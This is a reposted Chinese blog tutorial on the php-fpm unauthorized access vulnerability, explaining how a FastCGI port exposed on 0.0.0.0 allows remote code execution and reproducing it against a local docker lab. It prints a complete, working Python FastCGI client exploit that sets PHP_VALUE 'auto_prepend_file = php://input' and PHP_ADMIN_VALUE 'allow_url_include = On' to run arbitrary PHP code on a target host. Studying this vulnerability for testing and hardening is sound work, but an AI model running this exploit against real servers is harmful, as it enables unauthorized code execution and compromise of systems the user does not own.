我的编程空间,编程开发者的网络收藏夹
学习永远不晚

php-fpm未授权访问漏洞

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

php-fpm未授权访问漏洞

目录

一、产生原因

二、利用条件

三、过程原理

四、复现过程


一、产生原因

php-fpm配置不当,fastcgi_pass这里配置了0.0.0.0,将fastcgi接口暴露在公网,任何人都可以利用接口对php-fpm发送fastcgi协议数据,更改php.ini配置文件,导致远程代码执行

此漏洞属于配置不当,因此影响所有php版本

二、利用条件

  • php-fpm配置0.0.0.0(暴露在公网)
  • 可以与目标服务器通信
  • 目标服务器有可访问的php文件

三、过程原理

利用fastcgi接口向php-fpm发送恶意配置

'PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'

auto_prepend_file意思是在加载任意php文件之前,先加载配置内容php://input

而php://input伪协议需要'allow_url_include = On'

如果目标服务器根目录下没有php文件,那么可以访问/usr/local/lib/php/PEAR.php,这是安装php时自带的php文件,可以直接访问该文件

发送fastcgi数据给php-fpm后,php-fpm根据SCRIPT_FILENAME值转发给php解析,更改php.ini配置,然后执行文件或代码

四、复现过程

利用Python脚本

import socketimport randomimport argparseimport sysfrom io import BytesIO# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):    if PY2:        return force_bytes(chr(i))    else:        return bytes([i])def bord(c):    if isinstance(c, int):        return c    else:        return ord(c)def force_bytes(s):    if isinstance(s, bytes):        return s    else:        return s.encode('utf-8', 'strict')def force_text(s):    if issubclass(type(s), str):        return s    if isinstance(s, bytes):        s = str(s, 'utf-8', 'strict')    else:        s = str(s)    return sclass FastCGIClient:    """A Fast-CGI Client for Python"""    # private    __FCGI_VERSION = 1    __FCGI_ROLE_RESPONDER = 1    __FCGI_ROLE_AUTHORIZER = 2    __FCGI_ROLE_FILTER = 3    __FCGI_TYPE_BEGIN = 1    __FCGI_TYPE_ABORT = 2    __FCGI_TYPE_END = 3    __FCGI_TYPE_PARAMS = 4    __FCGI_TYPE_STDIN = 5    __FCGI_TYPE_STDOUT = 6    __FCGI_TYPE_STDERR = 7    __FCGI_TYPE_DATA = 8    __FCGI_TYPE_GETVALUES = 9    __FCGI_TYPE_GETVALUES_RESULT = 10    __FCGI_TYPE_UNKOWNTYPE = 11    __FCGI_HEADER_SIZE = 8    # request state    FCGI_STATE_SEND = 1    FCGI_STATE_ERROR = 2    FCGI_STATE_SUCCESS = 3    def __init__(self, host, port, timeout, keepalive):        self.host = host        self.port = port        self.timeout = timeout        if keepalive:            self.keepalive = 1        else:            self.keepalive = 0        self.sock = None        self.requests = dict()    def __connect(self):        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.sock.settimeout(self.timeout)        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        # if self.keepalive:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)        # else:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)        try:            self.sock.connect((self.host, int(self.port)))        except socket.error as msg:            self.sock.close()            self.sock = None            print(repr(msg))            return False        return True    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):        length = len(content)        buf = bchr(FastCGIClient.__FCGI_VERSION) \               + bchr(fcgi_type) \               + bchr((requestid >> 8) & 0xFF) \               + bchr(requestid & 0xFF) \               + bchr((length >> 8) & 0xFF) \               + bchr(length & 0xFF) \               + bchr(0) \               + bchr(0) \               + content        return buf    def __encodeNameValueParams(self, name, value):        nLen = len(name)        vLen = len(value)        record = b''        if nLen < 128:            record += bchr(nLen)        else:            record += bchr((nLen >> 24) | 0x80) \                      + bchr((nLen >> 16) & 0xFF) \                      + bchr((nLen >> 8) & 0xFF) \                      + bchr(nLen & 0xFF)        if vLen < 128:            record += bchr(vLen)        else:            record += bchr((vLen >> 24) | 0x80) \                      + bchr((vLen >> 16) & 0xFF) \                      + bchr((vLen >> 8) & 0xFF) \                      + bchr(vLen & 0xFF)        return record + name + value    def __decodeFastCGIHeader(self, stream):        header = dict()        header['version'] = bord(stream[0])        header['type'] = bord(stream[1])        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])        header['paddingLength'] = bord(stream[6])        header['reserved'] = bord(stream[7])        return header    def __decodeFastCGIRecord(self, buffer):        header = buffer.read(int(self.__FCGI_HEADER_SIZE))        if not header:            return False        else:            record = self.__decodeFastCGIHeader(header)            record['content'] = b''                        if 'contentLength' in record.keys():                contentLength = int(record['contentLength'])                record['content'] += buffer.read(contentLength)            if 'paddingLength' in record.keys():                skiped = buffer.read(int(record['paddingLength']))            return record    def request(self, nameValuePairs={}, post=''):        if not self.__connect():            print('connect failure! please check your fasctcgi-server !!')            return        requestId = random.randint(1, (1 << 16) - 1)        self.requests[requestId] = dict()        request = b""        beginFCGIRecordContent = bchr(0) \     + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \     + bchr(self.keepalive) \     + bchr(0) * 5        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,                  beginFCGIRecordContent, requestId)        paramsRecord = b''        if nameValuePairs:            for (name, value) in nameValuePairs.items():                name = force_bytes(name)                value = force_bytes(value)                paramsRecord += self.__encodeNameValueParams(name, value)        if paramsRecord:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)        if post:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)        self.sock.send(request)        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND        self.requests[requestId]['response'] = b''        return self.__waitForResponse(requestId)    def __waitForResponse(self, requestId):        data = b''        while True:            buf = self.sock.recv(512)            if not len(buf):                break            data += buf        data = BytesIO(data)        while True:            response = self.__decodeFastCGIRecord(data)            if not response:                break            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR                if requestId == int(response['requestId']):                    self.requests[requestId]['response'] += response['content']            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:                self.requests[requestId]        return self.requests[requestId]['response']    def __repr__(self):        return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')    parser.add_argument('host', help='Target host, such as 127.0.0.1')    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)    args = parser.parse_args()    client = FastCGIClient(args.host, args.port, 3, 0)    params = dict()    documentRoot = "/"    uri = args.file    content = args.code    params = {        'GATEWAY_INTERFACE': 'FastCGI/1.0',        'REQUEST_METHOD': 'POST',        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),        'SCRIPT_NAME': uri,        'QUERY_STRING': '',        'REQUEST_URI': uri,        'DOCUMENT_ROOT': documentRoot,        'SERVER_SOFTWARE': 'php/fcgiclient',        'REMOTE_ADDR': '127.0.0.1',        'REMOTE_PORT': '9985',        'SERVER_ADDR': '127.0.0.1',        'SERVER_PORT': '80',        'SERVER_NAME': "localhost",        'SERVER_PROTOCOL': 'HTTP/1.1',        'CONTENT_TYPE': 'application/text',        'CONTENT_LENGTH': "%d" % len(content),        'PHP_VALUE': 'auto_prepend_file = php://input',        'PHP_ADMIN_VALUE': 'allow_url_include = On'    }    response = client.request(params, content)    print(force_text(response))

127.0.0.1为目标服务器,这里因为搭建的docker,所以是127.0.0.1,也可以是docker的ip

来源地址:https://blog.csdn.net/CQ17743254852/article/details/132793504

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

php-fpm未授权访问漏洞

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Nacos未授权访问漏洞(CVE-2021-29441)

目录 漏洞描述影响范围环境搭建漏洞复现 声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。加粗样式 漏洞描述 Nacos 是阿里巴巴推出来的一个
2023-08-18
2023-10-01

Apache APISIX Dashboard未授权访问漏洞怎么解决

今天小编给大家分享一下Apache APISIX Dashboard未授权访问漏洞怎么解决的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来
2023-07-05

Docker API未授权访问漏洞问题怎么解决

本篇内容主要讲解“Docker API未授权访问漏洞问题怎么解决”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Docker API未授权访问漏洞问题怎么解决”吧!因为docker赋有远程的远程控
2023-07-05

Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

目录漏洞描述影响范围环境部署后台RCE未授权接口RCE声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。 漏洞描述 Apache APISIX 是一个动态、
2023-03-19

Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能,这篇文章主要介绍了Apache APISIX Dashboard 未授权访问漏洞(CVE-2021-45232),需要的朋友可以参考下
2023-03-19

Linux sudo 漏洞可能导致未经授权的特权访问

在 linux 中利用新发现的 sudo 漏洞可以使某些用户以 root 身份运行命令,尽管对此还有所限制。 sudo 命令中最近发现了一个严重漏洞,如果被利用,普通用户可以 root 身份运行命令,即使在 /etc/sudoers 文件中
2022-06-04

关于Redis未授权访问漏洞利用的介绍与修复建议

前言 本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容,文中对该漏洞进行了详细,并给出了相对应的修复/安全建议,下面话不多说了,来一起看看详细的介绍吧。 一、漏洞介绍Redis 默认情况下,会绑定在 0.0.0.0:6379,
2022-06-04

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录